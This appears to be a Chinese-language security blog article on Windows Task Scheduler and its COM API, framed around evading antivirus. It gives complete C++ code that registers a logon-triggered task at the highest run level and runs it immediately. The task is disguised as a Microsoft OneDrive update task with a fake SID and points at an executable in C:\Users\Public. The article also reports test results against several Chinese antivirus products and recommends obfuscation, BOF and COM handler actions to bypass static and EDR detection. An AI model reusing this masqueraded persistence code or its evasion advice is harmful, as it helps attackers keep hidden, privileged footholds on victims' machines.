Windows任务计划及其COM组件
字数 1503 2025-11-24 12:16:05
Windows任务计划及其COM组件技术详解
一、前言
Windows系统下创建任务计划的主要方式有三种:
- 任务计划的GUI界面
- 任务计划的命令行工具schtasks.exe
- Windows提供的API接口
本文将详细分析这三种方式,并重点介绍基于COM机制的任务计划API编程。掌握任务计划API编程不仅能够实现任务计划的自动化管理,还能深入理解Windows COM编程机制。
二、任务计划GUI界面操作
基本操作步骤
- 在运行对话框中输入
taskschd.msc打开任务计划程序 - 点击右侧的"创建任务"选项
- 通过图形界面配置任务参数
这种方式适合手动操作,但不利于自动化部署。
三、任务计划命令行工具schtasks.exe
基本创建命令
schtasks.exe /create /sc daily /tn "Test Schedule" /tr "c:\windows\system32\notepad32.exe"
参数说明
/create:创建新任务/sc:指定任务频率(daily、once、weekly、onlogon等)/tn:任务名称/tr:任务执行的程序路径
指定开始时间
schtasks.exe /create /sc daily /st 15:00 /tn "Test Schedule" /tr "c:\windows\system32\notepad32.exe"
远程主机创建任务
schtasks /s <hostname> /u <username> /p <password> /create /sc DAILY /tn "Test Schedule" /tr "c:\windows\system32\notepad.exe"
使用XML配置文件创建
schtasks /create /xml "Test Schedule.xml" /tn "Test Schedule"
任务计划成功创建后,系统会在c:\windows\system32\tasks\目录下生成对应的XML配置文件。
四、schtasks.exe免杀效果测试
测试环境及结果
-
Windows 7 + 腾讯电脑管家
- schtasks命令创建:成功
- schtasks配置文件创建:成功
-
Windows 2008 R2 + 火绒
- schtasks命令创建:成功
- schtasks配置文件创建:成功
-
Windows 2012 + 360卫士 + 360杀毒
- schtasks命令创建:失败
- schtasks配置文件创建:失败
五、Windows API接口编程
COM(组件对象模型)基础
基本概念
COM是微软提出的二进制组件规范,允许不同语言、不同进程、甚至不同计算机之间的对象交互。其核心特点包括:
- 二进制接口标准:通过统一的vtable结构实现跨语言调用
- 接口隔离:不暴露类实现,仅通过接口访问
- 全局唯一标识:每个COM类都有CLSID标识
IUnknown接口
所有COM对象都必须实现的基础接口:
struct IUnknown {
virtual HRESULT QueryInterface(REFIID riid, void** ppvObject) = 0;
virtual ULONG AddRef() = 0;
virtual ULONG Release() = 0;
};
COM对象创建流程
- 系统根据CLSID查找注册表
HKEY_CLASSES_ROOT\CLSID\{CLSID} - 加载对应的DLL或EXE文件
- 创建对象并返回接口指针
任务计划API编程实现
完整代码示例
#include <windows.h>
#include <taskschd.h>
#include <comdef.h>
#include <stdio.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsuppw.lib")
int CreateScheduledTask(LPCWSTR TaskAuthor, LPCWSTR TaskName, LPCWSTR wstrExePath) {
HRESULT hr = S_OK;
// 初始化COM库
hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
::wprintf(L"[-] CoInitializeEx has failed\n");
return 0;
}
// 设置COM安全级别
hr = ::CoInitializeSecurity(
NULL, -1, NULL, NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL, 0, NULL);
// 创建任务服务实例
ITaskService* pService = NULL;
hr = ::CoCreateInstance(
CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);
if (FAILED(hr)) {
::wprintf(L"[-] CoCreateInstance has failed\n");
::CoUninitialize();
return 0;
}
// 连接到本地任务计划服务
hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t());
if (FAILED(hr)) {
::wprintf(L"[-] ITaskService Connect has failed\n");
pService->Release();
::CoUninitialize();
return 0;
}
// 获取任务计划根目录
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
if (FAILED(hr)) {
::wprintf(L"[-] GetFolder has failed\n");
pService->Release();
::CoUninitialize();
return 0;
}
// 创建任务定义对象
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);
pService->Release();
if (FAILED(hr)) {
::wprintf(L"[-] NewTask has failed\n");
pRootFolder->Release();
::CoUninitialize();
return 0;
}
// 设置任务注册信息
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
if (SUCCEEDED(hr)) {
pRegInfo->put_Author(_bstr_t(TaskAuthor));
pRegInfo->Release();
}
// 设置任务主体信息
IPrincipal* pPrincipal = NULL;
hr = pTask->get_Principal(&pPrincipal);
if (SUCCEEDED(hr)) {
pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
pPrincipal->Release();
}
// 设置任务触发器(登录触发)
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);
if (FAILED(hr)) {
::wprintf(L"[-] get_Triggers has failed\n");
pRootFolder->Release();
pTask->Release();
::CoUninitialize();
return 0;
}
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->Release();
if (FAILED(hr)) {
::wprintf(L"[-] Create trigger has failed\n");
pRootFolder->Release();
pTask->Release();
::CoUninitialize();
return 0;
}
// 配置登录触发器
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(IID_ILogonTrigger, (void**)&pLogonTrigger);
pTrigger->Release();
if (FAILED(hr)) {
::wprintf(L"[-] QueryInterface for ILogonTrigger has failed\n");
pRootFolder->Release();
pTask->Release();
::CoUninitialize();
return 0;
}
// 设置触发器ID
hr = pLogonTrigger->put_Id(_bstr_t(L"LogonTriggerId"));
// 设置触发用户(可选)
WCHAR username[256];
DWORD usernameLen = 256;
if (GetUserNameW(username, &usernameLen)) {
hr = pLogonTrigger->put_UserId(_bstr_t(username));
if (SUCCEEDED(hr)) {
::wprintf(L"[+] Task will trigger on logon for user: %s\n", username);
}
}
pLogonTrigger->Release();
// 设置任务动作
IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
if (FAILED(hr)) {
::wprintf(L"[-] get_Actions has failed\n");
pRootFolder->Release();
pTask->Release();
::CoUninitialize();
return 0;
}
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
pActionCollection->Release();
if (FAILED(hr)) {
::wprintf(L"[-] Create action has failed\n");
pRootFolder->Release();
pTask->Release();
::CoUninitialize();
return 0;
}
// 配置执行动作
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction);
pAction->Release();
if (FAILED(hr)) {
::wprintf(L"[-] QueryInterface action has failed\n");
pRootFolder->Release();
pTask->Release();
::CoUninitialize();
return 0;
}
hr = pExecAction->put_Path(_bstr_t(wstrExePath));
pExecAction->Release();
// 注册任务
IRegisteredTask* pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(TaskName),
pTask,
TASK_CREATE_OR_UPDATE,
_variant_t(),
_variant_t(),
TASK_LOGON_INTERACTIVE_TOKEN,
_variant_t(L""),
&pRegisteredTask);
if (FAILED(hr)) {
::wprintf(L"[-] RegisterTaskDefinition has failed, error: 0x%08X\n", hr);
} else {
::wprintf(L"[+] Scheduled task has been created\n");
// 立即执行任务
IRunningTask* pRunningTask = NULL;
hr = pRegisteredTask->Run(_variant_t(), &pRunningTask);
if (SUCCEEDED(hr)) {
wprintf(L"[+] Task has been executed immediately\n");
if (pRunningTask) pRunningTask->Release();
}
}
// 释放资源
if (pRootFolder) pRootFolder->Release();
if (pTask) pTask->Release();
if (pRegisteredTask) pRegisteredTask->Release();
::CoUninitialize();
return 1;
}
int main() {
WCHAR TaskAuthor[] = L"Microsoft Corporation";
WCHAR TaskName[] = L"OneDrive Standalone Update Task-S-1-5-21-4162225321-4122752593-2322023677-001";
WCHAR path[] = L"C:\\Users\\Public\\OneDrive.exe";
DWORD res_sch = CreateScheduledTask(TaskAuthor, TaskName, path);
return 1;
}
关键编程步骤详解
1. COM库初始化
hr = ::CoInitializeEx(NULL, COINIT_MULTITHREADED);
hr = ::CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
2. 创建任务服务实例
hr = ::CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
IID_ITaskService, (void**)&pService);
3. 任务配置流程
- 注册信息设置:设置任务创建者信息
- 主体信息配置:设置运行权限和登录类型
- 触发器设置:支持多种触发类型(登录、定时等)
- 动作配置:支持执行程序、发送邮件等动作类型
4. 替代动作类型
除了IExecAction,还可以使用IComHandlerAction作为AV/EDR躲避的替代方案。
免杀效果测试
测试环境:Windows 2012 + 360卫士 + 360杀毒
结果分析:
- 静态查杀:文件落地被检测
- 行为检测:添加任务计划动作不被拦截
- 解决方案:通过LLVM混淆、BOF等技术绕过静态检测
六、技术要点总结
- COM编程核心:掌握IUnknown接口和QueryInterface机制
- 任务计划API关键:理解任务定义、触发器、动作的配置流程
- 免杀考虑:静态检测可通过代码混淆解决,行为检测需关注API调用方式
- 扩展应用:COM机制可应用于其他Windows组件编程
通过深入理解任务计划COM组件的编程方式,可以灵活实现各种自动化任务管理需求,并为其他Windows COM组件编程打下坚实基础。